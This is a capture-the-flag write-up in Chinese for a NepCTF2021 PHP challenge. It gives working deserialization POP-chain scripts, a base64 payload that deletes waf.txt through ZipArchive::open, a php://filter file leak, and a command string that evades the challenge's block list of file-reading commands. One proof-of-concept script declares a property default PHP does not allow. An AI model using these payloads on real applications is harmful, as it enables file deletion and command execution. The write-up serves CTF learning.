NepCTF2021 梦里花开牡丹亭

知识点：

1.数组绕过
2.pop链
3.ZipArchive 内置类的open方法达到删除文件效果

解题：

源码：

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

if(md5($this->register)===“21232f297a57a5a743894a0e4a801fc3”)

解密得到要等于admin。

先查看shell.php：

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register="admin";

    public  $file;
    public  $filename='php://filter/read=convert.base64-encode/resource=shell';
    public  $content;
    
    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
		
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
$a=new Game();
$a->file=new Open();

echo base64_encode(serialize($a));
?>

得到shell.php：

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!'); 
    }
}login success you can to open shell file!

联合index.php里面的Open类：

PHP
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}

可知我们只要使 file_get_contents('waf.txt') 读取失败就可以进入 shell($content) 来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除，这样就会读取失败，才能执行我们的命令。

所以我们利用ZipArchive原生类调用open方法，即可将即可将$filename（waf.txt）删除：

<?php
class Game{
    public  $username = "admin";
    public  $password = "admin";
    public  $choice;
    public  $register = "admin";

    public  $file = new ZipArchive();
    public  $filename = "waf.txt";
    public  $content = ZipArchive::OVERWRITE;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
echo base64_encode(serialize($poc));

生成payload：

Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=

删除了waf.txt。接下来就可以使用 n\l /fla* 执行命令读取flag了：

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register="admin";

    public  $file;
    public  $filename='...';
    public  $content = "n\l /flag";
    
    public function __construct()
    {
        $this->username='admin';
        $this->password='admin';
		
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){
            shell($content);
        }else{
            echo file_get_contents($filename.".php");
        }
    }
}
$a=new Game();
$a->file=new Open();

echo base64_encode(serialize($a));
?>